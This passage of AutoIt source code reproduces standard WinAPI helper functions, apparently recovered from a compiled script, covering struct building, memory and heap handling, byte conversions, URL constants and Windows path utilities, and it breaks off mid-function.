Global Const $__winver = __winver() #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_arraytostruct(Const ByRef $adata, $istart = 0, $iend = -1) If __checkerrorarraybounds($adata, $istart, $iend) Then Return SetError(@error + 10, @extended, 0) Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "wchar[" & (StringLen($adata[$i]) + 1) & "];" Next Local $tdata = DllStructCreate($tagstruct & "wchar[1]") Local $icount = 1 For $i = $istart To $iend DllStructSetData($tdata, $icount, $adata[$i]) $icount += 1 Next DllStructSetData($tdata, $icount, ChrW(0)) Return $tdata EndFunc Func _winapi_createmargins($ileftwidth, $irightwidth, $itopheight, $ibottomheight) Local $tmargins = DllStructCreate($tagmargins) DllStructSetData($tmargins, 1, $ileftwidth) DllStructSetData($tmargins, 2, $irightwidth) DllStructSetData($tmargins, 3, $itopheight) DllStructSetData($tmargins, 4, $ibottomheight) Return $tmargins EndFunc Func _winapi_createpoint($ix, $iy) Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, 1, $ix) DllStructSetData($tpoint, 2, $iy) Return $tpoint EndFunc Func _winapi_createrect($ileft, $itop, $iright, $ibottom) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, 1, $ileft) DllStructSetData($trect, 2, $itop) DllStructSetData($trect, 3, $iright) DllStructSetData($trect, 4, $ibottom) Return $trect EndFunc Func _winapi_createrectex($ix, $iy, $iwidth, $iheight) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, 1, $ix) DllStructSetData($trect, 2, $iy) DllStructSetData($trect, 3, $ix + $iwidth) DllStructSetData($trect, 4, $iy + $iheight) Return $trect EndFunc Func _winapi_createsize($iwidth, $iheight) Local $tsize = DllStructCreate($tagsize) DllStructSetData($tsize, 1, $iwidth) DllStructSetData($tsize, 2, $iheight) Return $tsize EndFunc Func _winapi_fatalexit($icode) DllCall("kernel32.dll", "none", "FatalExit", "int", $icode) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_getbitmapdimension($hbitmap) Local Const $tagbitmap = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct" Local $tobj = DllStructCreate($tagbitmap) Local $aret = DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return _winapi_createsize(DllStructGetData($tobj, "bmWidth"), DllStructGetData($tobj, "bmHeight")) EndFunc Func _winapi_getstring($pstring, $bunicode = True) Local $ilength = _winapi_strlen($pstring, $bunicode) If @error OR NOT $ilength Then Return SetError(@error + 10, @extended, "") Local $tstring = DllStructCreate(__iif($bunicode, "wchar", "char") & "[" & ($ilength + 1) & "]", $pstring) If @error Then Return SetError(@error, @extended, "") Return SetExtended($ilength, DllStructGetData($tstring, 1)) EndFunc Func _winapi_isbadreadptr($paddress, $ilength) Local $aret = DllCall("kernel32.dll", "bool", "IsBadReadPtr", "struct*", $paddress, "uint_ptr", $ilength) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_isbadwriteptr($paddress, $ilength) Local $aret = DllCall("kernel32.dll", "bool", "IsBadWritePtr", "struct*", $paddress, "uint_ptr", $ilength) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_iswow64process($ipid = 0) If NOT $ipid Then $ipid = @AutoItPID Local $hprocess = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", __iif($__winver < 1536, 1024, 4096), "bool", 0, "dword", $ipid) If @error OR NOT $hprocess[0] Then Return SetError(@error + 20, @extended, False) Local $aret = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess[0], "bool*", 0) If __checkerrorclosehandle($aret, $hprocess[0]) Then Return SetError(@error, @extended, False) Return $aret[2] EndFunc Func _winapi_movememory($pdestination, $psource, $ilength) If _winapi_isbadreadptr($psource, $ilength) Then Return SetError(10, @extended, 0) If _winapi_isbadwriteptr($pdestination, $ilength) Then Return SetError(11, @extended, 0) DllCall("ntdll.dll", "none", "RtlMoveMemory", "struct*", $pdestination, "struct*", $psource, "ulong_ptr", $ilength) If @error Then Return SetError(@error, @extended, 0) Return 1 EndFunc Func _winapi_pathisdirectory($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_strlen($pstring, $bunicode = True) Local $w = "" If $bunicode Then $w = "W" Local $aret = DllCall("kernel32.dll", "int", "lstrlen" & $w, "struct*", $pstring) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_structtoarray(ByRef $tstruct, $iitems = 0) Local $isize = 2 * Floor(DllStructGetSize($tstruct) / 2) Local $pstruct = DllStructGetPtr($tstruct) If NOT $isize OR NOT $pstruct Then Return SetError(1, 0, 0) Local $tdata, $ilength, $ioffset = 0 Local $aresult[101] = [0] While 1 $ilength = _winapi_strlen($pstruct + $ioffset) If NOT $ilength Then ExitLoop EndIf If 2 * (1 + $ilength) + $ioffset > $isize Then Return SetError(3, 0, 0) $tdata = DllStructCreate("wchar[" & (1 + $ilength) & "]", $pstruct + $ioffset) If @error Then Return SetError(@error + 10, 0, 0) __inc($aresult) $aresult[$aresult[0]] = DllStructGetData($tdata, 1) If $aresult[0] = $iitems Then ExitLoop EndIf $ioffset += 2 * (1 + $ilength) If $ioffset >= $isize Then Return SetError(3, 0, 0) WEnd If NOT $aresult[0] Then Return SetError(2, 0, 0) __inc($aresult, -1) Return $aresult EndFunc Func _winapi_swapdword($ivalue) Local $tstruct1 = DllStructCreate("dword;dword") Local $tstruct2 = DllStructCreate("byte[4];byte[4]", DllStructGetPtr($tstruct1)) DllStructSetData($tstruct1, 1, $ivalue) For $i = 1 To 4 DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 5 - $i), $i) Next Return DllStructGetData($tstruct1, 2) EndFunc Func _winapi_swapqword($ivalue) Local $tstruct1 = DllStructCreate("int64;int64") Local $tstruct2 = DllStructCreate("byte[8];byte[8]", DllStructGetPtr($tstruct1)) DllStructSetData($tstruct1, 1, $ivalue) For $i = 1 To 8 DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 9 - $i), $i) Next Return DllStructGetData($tstruct1, 2) EndFunc Func _winapi_swapword($ivalue) Local $tstruct1 = DllStructCreate("word;word") Local $tstruct2 = DllStructCreate("byte[2];byte[2]", DllStructGetPtr($tstruct1)) DllStructSetData($tstruct1, 1, $ivalue) For $i = 1 To 2 DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 3 - $i), $i) Next Return DllStructGetData($tstruct1, 2) EndFunc Func _winapi_switchcolor($icolor) If $icolor = -1 Then Return $icolor Return BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16)) EndFunc Func _winapi_zeromemory($pmemory, $ilength) If _winapi_isbadwriteptr($pmemory, $ilength) Then Return SetError(11, @extended, 0) DllCall("ntdll.dll", "none", "RtlZeroMemory", "struct*", $pmemory, "ulong_ptr", $ilength) If @error Then Return SetError(@error, @extended, 0) Return 1 EndFunc #EndRegion Public Functions #Region Internal Functions Func __checkerrorarraybounds(Const ByRef $adata, ByRef $istart, ByRef $iend, $ndim = 1, $idim = $ubound_dimensions) If NOT IsArray($adata) Then Return SetError(1, 0, 1) If UBound($adata, $idim) <> $ndim Then Return SetError(2, 0, 1) If $istart < 0 Then $istart = 0 Local $iubound = UBound($adata) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart > $iend Then Return SetError(4, 0, 1) Return 0 EndFunc Func __checkerrorclosehandle($aret, $hfile, $blasterror = 0, $icurerr = @error, $icurext = @extended) If NOT $icurerr AND NOT $aret[0] Then $icurerr = 10 Local $ilasterror = _winapi_getlasterror() DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile) If $icurerr Then _winapi_setlasterror($ilasterror) If $blasterror Then $icurext = $ilasterror Return SetError($icurerr, $icurext, $icurerr) EndFunc Func __dll($spath, $bpin = False) Local $aret = DllCall("kernel32.dll", "bool", "GetModuleHandleExW", "dword", __iif($bpin, 1, 2), "wstr", $spath, "ptr*", 0) If NOT $aret[3] Then Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $spath) If NOT $aresult[0] Then Return 0 EndIf Return 1 EndFunc Func __enumwindowsproc($hwnd, $bvisible) Local $aresult If $bvisible Then $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd) If NOT $aresult[0] Then Return 1 EndIf EndIf __inc($__g_venum) $__g_venum[$__g_venum[0][0]][0] = $hwnd $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096) $__g_venum[$__g_venum[0][0]][1] = $aresult[2] Return 1 EndFunc Func __fatalexit($icode, $stext = "") If $stext Then MsgBox($mb_systemmodal, "AutoIt", $stext) _winapi_fatalexit($icode) EndFunc Func __heapalloc($isize, $babort = False) Local $aret If NOT $__g_hheap Then $aret = DllCall("kernel32.dll", "handle", "HeapCreate", "dword", 0, "ulong_ptr", 0, "ulong_ptr", 0) If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.") $__g_hheap = $aret[0] EndIf $aret = DllCall("kernel32.dll", "ptr", "HeapAlloc", "handle", $__g_hheap, "dword", 8, "ulong_ptr", $isize) If @error OR NOT $aret[0] Then If $babort Then __fatalexit(1, "Error allocating memory.") Return SetError(@error + 30, @extended, 0) EndIf Return $aret[0] EndFunc Func __heapfree(ByRef $pmemory, $bcheck = False, $icurerr = @error, $icurext = @extended) If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0) Local $aret = DllCall("kernel32.dll", "int", "HeapFree", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory) If @error OR NOT $aret[0] Then Return SetError(@error + 40, @extended, 0) $pmemory = 0 Return SetError($icurerr, $icurext, 1) EndFunc Func __heaprealloc($pmemory, $isize, $bamount = False, $babort = False) Local $aret, $pret If __heapvalidate($pmemory) Then If $bamount AND (__heapsize($pmemory) >= $isize) Then Return SetExtended(1, Ptr($pmemory)) $aret = DllCall("kernel32.dll", "ptr", "HeapReAlloc", "handle", $__g_hheap, "dword", 8, "ptr", $pmemory, "ulong_ptr", $isize) If @error OR NOT $aret[0] Then If $babort Then __fatalexit(1, "Error allocating memory.") Return SetError(@error + 20, @extended, Ptr($pmemory)) EndIf $pret = $aret[0] Else $pret = __heapalloc($isize, $babort) If @error Then Return SetError(@error, @extended, 0) EndIf Return $pret EndFunc Func __heapsize($pmemory, $bcheck = False) If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0) Local $aret = DllCall("kernel32.dll", "ulong_ptr", "HeapSize", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory) If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error + 50, @extended, 0) Return $aret[0] EndFunc Func __heapvalidate($pmemory) If (NOT $__g_hheap) OR (NOT Ptr($pmemory)) Then Return SetError(9, 0, False) Local $aret = DllCall("kernel32.dll", "int", "HeapValidate", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func __inc(ByRef $adata, $iincrement = 100) Select Case UBound($adata, $ubound_columns) If $iincrement < 0 Then ReDim $adata[$adata[0][0] + 1][UBound($adata, $ubound_columns)] Else $adata[0][0] += 1 If $adata[0][0] > UBound($adata) - 1 Then ReDim $adata[$adata[0][0] + $iincrement][UBound($adata, $ubound_columns)] EndIf EndIf Case UBound($adata, $ubound_rows) If $iincrement < 0 Then ReDim $adata[$adata[0] + 1] Else $adata[0] += 1 If $adata[0] > UBound($adata) - 1 Then ReDim $adata[$adata[0] + $iincrement] EndIf EndIf Case Else Return 0 EndSelect Return 1 EndFunc Func __iif($btest, $vtrue, $vfalse) Return $btest ? $vtrue : $vfalse EndFunc Func __init($ddata) Local $ilength = BinaryLen($ddata) Local $aret = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", $ilength, "dword", 4096, "dword", 64) If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.") Local $tdata = DllStructCreate("byte[" & $ilength & "]", $aret[0]) DllStructSetData($tdata, 1, $ddata) Return $aret[0] EndFunc Func __rgb($icolor) If $__g_irgbmode Then $icolor = _winapi_switchcolor($icolor) EndIf Return $icolor EndFunc Func __winver() Local $tosvi = DllStructCreate($tagosversioninfo) DllStructSetData($tosvi, 1, DllStructGetSize($tosvi)) Local $aret = DllCall("kernel32.dll", "bool", "GetVersionExW", "struct*", $tosvi) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return BitOR(BitShift(DllStructGetData($tosvi, 2), -8), DllStructGetData($tosvi, 3)) EndFunc #EndRegion Internal Functions #Region Global Variables and Constants #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_chartooem($sstr) Local $aret = DllCall("user32.dll", "bool", "CharToOemW", "wstr", $sstr, "wstr", "") If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[2] EndFunc Func _winapi_copystruct($tstruct, $sstruct = "") Local $isize = DllStructGetSize($tstruct) If NOT $isize Then Return SetError(1, 0, 0) Local $tresult If NOT StringStripWS($sstruct, $str_stripleading + $str_striptrailing + $str_stripspaces) Then $tresult = DllStructCreate("byte[" & $isize & "]") Else $tresult = DllStructCreate($sstruct) EndIf If DllStructGetSize($tresult) < $isize Then Return SetError(2, 0, 0) _winapi_movememory($tresult, $tstruct, $isize) Return $tresult EndFunc Func _winapi_dwordtofloat($ivalue) Local $tdword = DllStructCreate("dword") Local $tfloat = DllStructCreate("float", DllStructGetPtr($tdword)) DllStructSetData($tdword, 1, $ivalue) Return DllStructGetData($tfloat, 1) EndFunc Func _winapi_dwordtoint($ivalue) Local $tdata = DllStructCreate("int") DllStructSetData($tdata, 1, $ivalue) Return DllStructGetData($tdata, 1) EndFunc Func _winapi_floattodword($ivalue) Local $tfloat = DllStructCreate("float") Local $tdword = DllStructCreate("dword", DllStructGetPtr($tfloat)) DllStructSetData($tfloat, 1, $ivalue) Return DllStructGetData($tdword, 1) EndFunc Func _winapi_getextended() Return $__g_vext EndFunc Func _winapi_hashdata($pmemory, $isize, $ilength = 32) If ($ilength <= 0) OR ($ilength > 256) Then Return SetError(11, 0, 0) Local $tdata = DllStructCreate("byte[" & $ilength & "]") Local $aret = DllCall("shlwapi.dll", "uint", "HashData", "struct*", $pmemory, "dword", $isize, "struct*", $tdata, "dword", $ilength) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return DllStructGetData($tdata, 1) EndFunc Func _winapi_hashstring($sstring, $bcasesensitive = True, $ilength = 32) Local $ilengths = StringLen($sstring) If NOT $ilengths OR ($ilength > 256) Then Return SetError(12, 0, 0) Local $tstring = DllStructCreate("wchar[" & ($ilengths + 1) & "]") If NOT $bcasesensitive Then $sstring = StringLower($sstring) EndIf DllStructSetData($tstring, 1, $sstring) Local $shash = _winapi_hashdata($tstring, 2 * $ilengths, $ilength) If @error Then Return SetError(@error, @extended, 0) Return $shash EndFunc Func _winapi_hibyte($ivalue) Return BitAND(BitShift($ivalue, 8), 255) EndFunc Func _winapi_hidword($ivalue) Local $tint64 = DllStructCreate("int64") Local $tqword = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tint64, 1, $ivalue) Return DllStructGetData($tqword, 2) EndFunc Func _winapi_inttodword($ivalue) Local $tdata = DllStructCreate("dword") DllStructSetData($tdata, 1, $ivalue) Return DllStructGetData($tdata, 1) EndFunc Func _winapi_lobyte($ivalue) Return BitAND($ivalue, 255) EndFunc Func _winapi_lodword($ivalue) Local $tint64 = DllStructCreate("int64") Local $tqword = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tint64, 1, $ivalue) Return DllStructGetData($tqword, 1) EndFunc Func _winapi_longmid($ivalue, $istart, $icount) Return BitAND(BitShift($ivalue, $istart), BitOR(BitShift(BitShift(2147483647, 32 - ($icount + 1)), 1), BitShift(1, -($icount - 1)))) EndFunc Func _winapi_makeword($ilo, $ihi) Local $tword = DllStructCreate("ushort") Local $tbyte = DllStructCreate("byte;byte", DllStructGetPtr($tword)) DllStructSetData($tbyte, 1, $ihi) DllStructSetData($tbyte, 2, $ilo) Return DllStructGetData($tword, 1) EndFunc Func _winapi_oemtochar($sstr) Local $aret = DllCall("user32.dll", "bool", "OemToChar", "str", $sstr, "str", "") If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[2] EndFunc Func _winapi_playsound($ssound, $iflags = $snd_system_nostop, $hinstance = 0) Local $stypeofsound = "ptr" If $ssound Then If IsString($ssound) Then $stypeofsound = "wstr" EndIf Else $ssound = 0 $iflags = 0 EndIf Local $aret = DllCall("winmm.dll", "bool", "PlaySoundW", $stypeofsound, $ssound, "handle", $hinstance, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_shorttoword($ivalue) Return BitAND($ivalue, 65535) EndFunc Func _winapi_strformatbytesize($isize) Local $aret = DllCall("shlwapi.dll", "ptr", "StrFormatByteSizeW", "int64", $isize, "wstr", "", "uint", 1024) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[2] EndFunc Func _winapi_strformatbytesizeex($isize) Local $asymbol = DllCall("kernel32.dll", "int", "GetLocaleInfoW", "dword", 1024, "dword", 15, "wstr", "", "int", 2048) If @error Then Return SetError(@error + 10, @extended, "") Local $ssize = _winapi_strformatbytesize(0) If @error Then Return SetError(@error, @extended, "") Return StringReplace($ssize, "0", StringRegExpReplace(Number($isize), "(?<=\d)(?=(\d{3})+\z)", $asymbol[3])) EndFunc Func _winapi_strformatkbsize($isize) Local $aret = DllCall("shlwapi.dll", "ptr", "StrFormatKBSizeW", "int64", $isize, "wstr", "", "uint", 1024) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[2] EndFunc Func _winapi_strfromtimeinterval($itime, $idigits = 7) Local $aret = DllCall("shlwapi.dll", "int", "StrFromTimeIntervalW", "wstr", "", "uint", 1024, "dword", $itime, "int", $idigits) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return StringStripWS($aret[1], $str_stripleading + $str_striptrailing) EndFunc Func _winapi_unionstruct($tstruct1, $tstruct2, $sstruct = "") Local $asize[2] = [DllStructGetSize($tstruct1), DllStructGetSize($tstruct2)] If NOT $asize[0] OR NOT $asize[1] Then Return SetError(1, 0, 0) Local $tresult If NOT StringStripWS($sstruct, $str_stripleading + $str_striptrailing + $str_stripspaces) Then $tresult = DllStructCreate("byte[" & ($asize[0] + $asize[1]) & "]") Else $tresult = DllStructCreate($sstruct) EndIf If DllStructGetSize($tresult) < ($asize[0] + $asize[1]) Then Return SetError(2, 0, 0) _winapi_movememory($tresult, $tstruct1, $asize[0]) _winapi_movememory(DllStructGetPtr($tresult) + $asize[0], $tstruct2, $asize[1]) Return $tresult EndFunc Func _winapi_wordtoshort($ivalue) If BitAND($ivalue, 32768) Then Return BitOR($ivalue, -32768) EndIf Return BitAND($ivalue, 32767) EndFunc #EndRegion Public Functions Global Const $url_scheme_invalid = -1 Global Const $url_scheme_unknown = 0 Global Const $url_scheme_ftp = 1 Global Const $url_scheme_http = 2 Global Const $url_scheme_gopher = 3 Global Const $url_scheme_mailto = 4 Global Const $url_scheme_news = 5 Global Const $url_scheme_nntp = 6 Global Const $url_scheme_telnet = 7 Global Const $url_scheme_wais = 8 Global Const $url_scheme_file = 9 Global Const $url_scheme_mk = 10 Global Const $url_scheme_https = 11 Global Const $url_scheme_shell = 12 Global Const $url_scheme_snews = 13 Global Const $url_scheme_local = 14 Global Const $url_scheme_javascript = 15 Global Const $url_scheme_vbscript = 16 Global Const $url_scheme_about = 17 Global Const $url_scheme_res = 18 Global Const $url_scheme_msshellrooted = 19 Global Const $url_scheme_msshellidlist = 20 Global Const $url_scheme_mshelp = 21 Global Const $url_scheme_msshelldevice = 22 Global Const $url_scheme_wildcard = 23 Global Const $url_scheme_search_ms = 24 Global Const $url_scheme_search = 25 Global Const $url_scheme_knownfolder = 26 Global Const $gct_invalid = 0 Global Const $gct_lfnchar = 1 Global Const $gct_separator = 8 Global Const $gct_shortchar = 2 Global Const $gct_wild = 4 Global Const $url_apply_default = 1 Global Const $url_apply_guessscheme = 2 Global Const $url_apply_guessfile = 4 Global Const $url_apply_forceapply = 8 Global Const $url_dont_simplify = 134217728 Global Const $url_escape_as_utf8 = 262144 Global Const $url_escape_percent = 4096 Global Const $url_escape_spaces_only = 67108864 Global Const $url_escape_unsafe = 536870912 Global Const $url_no_meta = 134217728 Global Const $url_pluggable_protocol = 1073741824 Global Const $url_unescape = 268435456 Global Const $url_part_hostname = 2 Global Const $url_part_password = 4 Global Const $url_part_port = 5 Global Const $url_part_query = 6 Global Const $url_part_scheme = 1 Global Const $url_part_username = 3 Global Const $urlis_appliable = 4 Global Const $urlis_directory = 5 Global Const $urlis_fileurl = 3 Global Const $urlis_hasquery = 6 Global Const $urlis_nohistory = 2 Global Const $urlis_opaque = 1 Global Const $urlis_url = 0 #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_commandlinetoargv($scmd) Local $aresult[1] = [0] $scmd = StringStripWS($scmd, $str_stripleading + $str_striptrailing) If NOT $scmd Then Return $aresult EndIf Local $aret = DllCall("shell32.dll", "ptr", "CommandLineToArgvW", "wstr", $scmd, "int*", 0) If @error OR NOT $aret[0] OR (NOT $aret[2]) Then Return SetError(@error + 10, @extended, 0) Local $tptr = DllStructCreate("ptr[" & $aret[2] & "]", $aret[0]) Dim $aresult[$aret[2] + 1] = [$aret[2]] For $i = 1 To $aret[2] $aresult[$i] = _winapi_getstring(DllStructGetData($tptr, 1, $i)) Next DllCall("kernel32.dll", "handle", "LocalFree", "handle", $aret[0]) Return $aresult EndFunc Func _winapi_isnameinexpression($sstring, $spattern, $bcasesensitive = False) If NOT $bcasesensitive Then $spattern = StringUpper($spattern) Local $tus1 = __us($spattern) Local $tus2 = __us($sstring) Local $aret = DllCall("ntdll.dll", "boolean", "RtlIsNameInExpression", "struct*", $tus1, "struct*", $tus2, "boolean", NOT $bcasesensitive, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_parseurl($surl) Local $tagparsedurl = "dword Size;ptr Protocol;uint cchProtocol;ptr Suffix;uint cchSuffix;uint Scheme" Local $tpurl = DllStructCreate($tagparsedurl) DllStructSetData($tpurl, 1, DllStructGetSize($tpurl)) Local $turl = DllStructCreate("wchar[4096]") DllStructSetData($turl, 1, $surl) Local $aret = DllCall("shlwapi.dll", "long", "ParseURLW", "struct*", $turl, "struct*", $tpurl) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Local $aresult[3] $aresult[0] = DllStructGetData(DllStructCreate("wchar[" & DllStructGetData($tpurl, 3) & "]", DllStructGetData($tpurl, 2)), 1) $aresult[1] = DllStructGetData(DllStructCreate("wchar[" & DllStructGetData($tpurl, 5) & "]", DllStructGetData($tpurl, 4)), 1) $aresult[2] = DllStructGetData($tpurl, 6) Return $aresult EndFunc Func _winapi_parseusername($suser) If NOT __dll("credui.dll") Then Return SetError(103, 0, 0) Local $aret = DllCall("credui.dll", "dword", "CredUIParseUserNameW", "wstr", $suser, "wstr", "", "ulong", 4096, "wstr", "", "ulong", 4096) If @error Then Return SetError(@error, @extended, 0) Switch $aret[0] Case 0 Case 1315 If StringStripWS($suser, $str_stripleading + $str_striptrailing) Then $aret[2] = $suser $aret[4] = "" Else ContinueCase EndIf Case Else Return SetError(10, $aret[0], 0) EndSwitch Local $aresult[2] $aresult[0] = $aret[4] $aresult[1] = $aret[2] Return $aresult EndFunc Func _winapi_pathaddbackslash($sfilepath) Local $tpath = DllStructCreate("wchar[260]") DllStructSetData($tpath, 1, $sfilepath) Local $aret = DllCall("shlwapi.dll", "ptr", "PathAddBackslashW", "struct*", $tpath) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return DllStructGetData($tpath, 1) EndFunc Func _winapi_pathaddextension($sfilepath, $sext = "") Local $tpath = DllStructCreate("wchar[260]") DllStructSetData($tpath, 1, $sfilepath) Local $stypeofext = "wstr" If NOT StringStripWS($sext, $str_stripleading + $str_striptrailing) Then $stypeofext = "ptr" $sext = 0 EndIf Local $aret = DllCall("shlwapi.dll", "bool", "PathAddExtensionW", "struct*", $tpath, $stypeofext, $sext) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aret[0], DllStructGetData($tpath, 1)) EndFunc Func _winapi_pathappend($sfilepath, $smore) Local $tpath = DllStructCreate("wchar[260]") DllStructSetData($tpath, 1, $sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathAppendW", "struct*", $tpath, "wstr", $smore) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return DllStructGetData($tpath, 1) EndFunc Func _winapi_pathbuildroot($idrive) Local $aret = DllCall("shlwapi.dll", "ptr", "PathBuildRootW", "wstr", "", "int", $idrive) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathcanonicalize($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathCanonicalizeW", "wstr", "", "wstr", $sfilepath) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, $sfilepath) Return $aret[1] EndFunc Func _winapi_pathcommonprefix($spath1, $spath2) Local $aret = DllCall("shlwapi.dll", "int", "PathCommonPrefixW", "wstr", $spath1, "wstr", $spath2, "wstr", "") If @error Then Return SetError(@error, @extended, "") Return SetExtended($aret[0], $aret[3]) EndFunc Func _winapi_pathcompactpath($hwnd, $sfilepath, $iwidth = 0) If $iwidth < 1 Then Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect) $iwidth += DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndIf Local $aret = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error OR NOT $aret[0] Then Return SetError(@error + 20, @extended, $sfilepath) Local $hdc = $aret[0] Local Const $wm_getfont = 49 $aret = DllCall("user32.dll", "ptr", "SendMessage", "hwnd", $hwnd, "uint", $wm_getfont, "wparam", 0, "lparam", 0) Local $hback = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $aret[0]) Local $ierror = 0 $aret = DllCall("shlwapi.dll", "bool", "PathCompactPathW", "handle", $hdc, "wstr", $sfilepath, "int", $iwidth) If @error OR NOT $aret[0] Then $ierror = @error + 10 DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hback[0]) DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If $ierror Then Return SetError($ierror, 0, $sfilepath) Return $aret[2] EndFunc Func _winapi_pathcompactpathex($sfilepath, $imax) Local $aret = DllCall("shlwapi.dll", "bool", "PathCompactPathExW", "wstr", "", "wstr", $sfilepath, "uint", $imax + 1, "dword", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, $sfilepath) Return $aret[1] EndFunc Func _winapi_pathcreatefromurl($surl) Local $aret = DllCall("shlwapi.dll", "long", "PathCreateFromUrlW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", 0) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[2] EndFunc Func _winapi_pathfindextension($sfilepath) Local $aret = DllCall("shlwapi.dll", "wstr", "PathFindExtensionW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[0] EndFunc Func _winapi_pathfindfilename($sfilepath) Local $aret = DllCall("shlwapi.dll", "wstr", "PathFindFileNameW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, $sfilepath) Return $aret[0] EndFunc Func _winapi_pathfindnextcomponent($sfilepath) Local $tpath = DllStructCreate("wchar[" & (StringLen($sfilepath) + 1) & "]") DllStructSetData($tpath, 1, $sfilepath) Local $aret = DllCall("shlwapi.dll", "ptr", "PathFindNextComponentW", "struct*", $tpath) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return _winapi_getstring($aret[0]) EndFunc Func _winapi_pathgetargs($sfilepath) Local $tpath = DllStructCreate("wchar[" & (StringLen($sfilepath) + 1) & "]") DllStructSetData($tpath, 1, $sfilepath) Local $aret = DllCall("shlwapi.dll", "ptr", "PathGetArgsW", "struct*", $tpath) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return _winapi_getstring($aret[0]) EndFunc Func _winapi_pathgetchartype($schar) Local $aret = DllCall("shlwapi.dll", "uint", "PathGetCharTypeW", "word", AscW($schar)) If @error Then Return SetError(@error, @extended, -1) Return $aret[0] EndFunc Func _winapi_pathgetdrivenumber($sfilepath) Local $aret = DllCall("shlwapi.dll", "int", "PathGetDriveNumberW", "wstr", $sfilepath) If @error OR ($aret[0] = -1) Then Return SetError(@error, @extended, "") Return Chr($aret[0] + 65) & ":" EndFunc Func _winapi_pathiscontenttype($sfilepath, $stype) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsContentTypeW", "wstr", $sfilepath, "wstr", $stype) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathisexe($sfilepath) Local $aret = DllCall("shell32.dll", "bool", "PathIsExe", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, 